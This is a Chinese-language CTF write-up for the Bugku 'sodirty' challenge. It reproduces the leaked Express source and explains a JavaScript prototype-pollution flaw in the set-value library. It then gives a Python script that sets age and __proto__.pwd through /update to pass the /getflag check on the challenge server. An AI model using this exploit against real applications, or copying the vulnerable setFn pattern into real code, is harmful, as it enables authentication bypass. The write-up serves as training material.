bugku-sodirty

打开题目

 

 

发现只有一个注册的跳转链接

点击试试

 

 查看一下源代码

也没有发现

fuzz一下看看有没有备份文件

找到了www.zip的备份文件

下载下来看看

 

 打开index.js得到源代码

发现set-value，判断存在js原型链污染

对于js原型链污染，下面这篇讲的挺详细的

https://blog.csdn.net/weixin_45551083/article/details/109589386

var express = require('express');
const setFn = require('set-value');
var router = express.Router();


const Admin = {
    "password":process.env.password?process.env.password:"password"
}


router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登录失败");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误，请使用管理员用户名登录.");
        }
    }

});
router.get('/reg', function (req, res, next) {
    req.session.challenger = {
        "username": "user",
        "password": "pass",
        "age": 80
    }
    res.send("用户创建成功!");
});

router.get('/', function (req, res, next) {
    res.redirect('index');
});
router.get('/index', function (req, res, next) {
    res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("传参有误");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }
});

module.exports = router;

通过代码可以发现

路由"/getflag"是用来获取到flag，但存在验证，首先需要传参两个参数key和password，并且对用户字典中的age进行判断，大于79会失败

然后Admin[key]需要等于password，其中passwod为我们控制的 而Admin[key] 我们不知道

因为age是一个已经存在的变量，所以可以用post传参去覆盖

data={"attrkey":"age","attrval":"20"}
update(url,data)

而既然是原型链污染，就可以直接poc自定义一个password了

poc地址：http://114.67.246.176:15688/

借用一下别人的脚本，自己不是很会写脚本。。

import requests
import random
from bs4 import BeautifulSoup
import re
import base64
s = requests.session() #保持同一个会话
def reg(url):
    url=url+"reg"
    r=s.get(url)
    print(r.text)

def update(url,data):
    url=url+"update"
    print(url)
    r=s.post(url,data=data)
    print(r.text)
def getflag(url,data):
    url=url+"getflag"
    r=s.post(url,data=data)
    print(r.text)

url="http://114.67.246.176:15688/"
reg(url)
data={"attrkey":"age","attrval":"20"}
update(url,data)
data={"attrkey":"__proto__.pwd","attrval":"123"}
update(url,data)
data={"password":"123","key":"pwd"}
getflag(url,data)

跑一下，成功得到flag